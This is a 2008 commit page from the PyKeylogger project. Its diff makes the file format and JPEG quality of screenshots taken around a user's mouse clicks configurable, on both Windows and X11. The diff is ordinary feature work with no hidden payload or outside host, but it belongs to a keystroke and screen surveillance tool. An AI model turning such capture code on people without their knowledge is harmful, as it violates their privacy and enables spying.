make image format and quality (for jpg) configurable. supports all writable image formats from PIL.

nanotube [2008-03-20 05:14]
make image format and quality (for jpg) configurable. supports all writable image formats from PIL.
Filename
imagecapture.py
pykeylogger.ini
pykeylogger.val
diff --git a/imagecapture.py b/imagecapture.py
index d7e0db2..99f6bf4 100644
--- a/imagecapture.py
+++ b/imagecapture.py
@@ -135,7 +135,8 @@ class ImageWriter(threading.Thread):

         self.PrintDebug(cropbox)

-        savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + ".png")
+        #savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + ".png")
+        savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + "." + self.settings['Image Capture']['Capture Clicks Image Format'])

         if os.name == 'posix':

@@ -143,7 +144,7 @@ class ImageWriter(threading.Thread):

             try: #cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename
                 raw = self.rootwin.get_image(cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, X.ZPixmap, AllPlanes)
-                Image.fromstring("RGBX", (cropbox.size.x, cropbox.size.y), raw.data, "raw", "BGRX").convert("RGB").save(savefilename)
+                Image.fromstring("RGBX", (cropbox.size.x, cropbox.size.y), raw.data, "raw", "BGRX").convert("RGB").save(savefilename, quality=self.settings['Image Capture']['Capture Clicks Image Quality'])
                 return 0
             except error.BadDrawable:
                 print "bad drawable when attempting to get an image!  Closed the window?"
@@ -156,8 +157,7 @@ class ImageWriter(threading.Thread):

         if os.name == 'nt':
             img = ImageGrab.grab((cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x, cropbox.bottomright.y))
-            img.save(savefilename)
-
+            img.save(savefilename, quality=self.settings['Image Capture']['Capture Clicks Image Quality'])

     def getScreenSize(self):
         if os.name == 'posix':
@@ -190,21 +190,6 @@ class ImageWriter(threading.Thread):
         elif os.name == 'posix':
             return str(event.WindowProcName)

-    #~ def captureclick(self, event):
-        #~ screensize = self.getScreenSize()
-
-        #~ # The cropbox will take care of making sure our image is within
-        #~ # screen boundaries.
-        #~ cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize)
-        #~ cropbox.reposition(Point(event.Position[0], event.Position[1]))
-
-        #~ self.savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y_%m_%d%_%H_%M_%S') + "_" + str(event.WindowProcName) + ".png")
-
-        #~ try:
-            #~ self.capturewindow(self.rootwin, cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename)
-        #~ except:
-            #~ print "Encountered an error capturing the image for the window. Continuing anyway."
-
 class Point:
     def __init__(self, x=0, y=0):
         self.x = x
diff --git a/pykeylogger.ini b/pykeylogger.ini
index e167fee..4f2bcf7 100644
Binary files a/pykeylogger.ini and b/pykeylogger.ini differ
diff --git a/pykeylogger.val b/pykeylogger.val
index 6f88c46..4484512 100644
--- a/pykeylogger.val
+++ b/pykeylogger.val
@@ -193,4 +193,12 @@ Capture Clicks Width = integer(min=1, max=65534, default=150)

 # default: 150
 Capture Clicks Height Tooltip = string()
-Capture Clicks Height = integer(min=1, max=65534, default=150)
\ No newline at end of file
+Capture Clicks Height = integer(min=1, max=65534, default=150)
+
+# default: png
+Capture Clicks Image Format Tooltip = string()
+Capture Clicks Image Format = string(min=3, max=3, default="png")
+
+# default: 75
+Capture Clicks Image Quality Tooltip = string()
+Capture Clicks Image Quality = integer(min=1, max=75, default=75)
ViewGit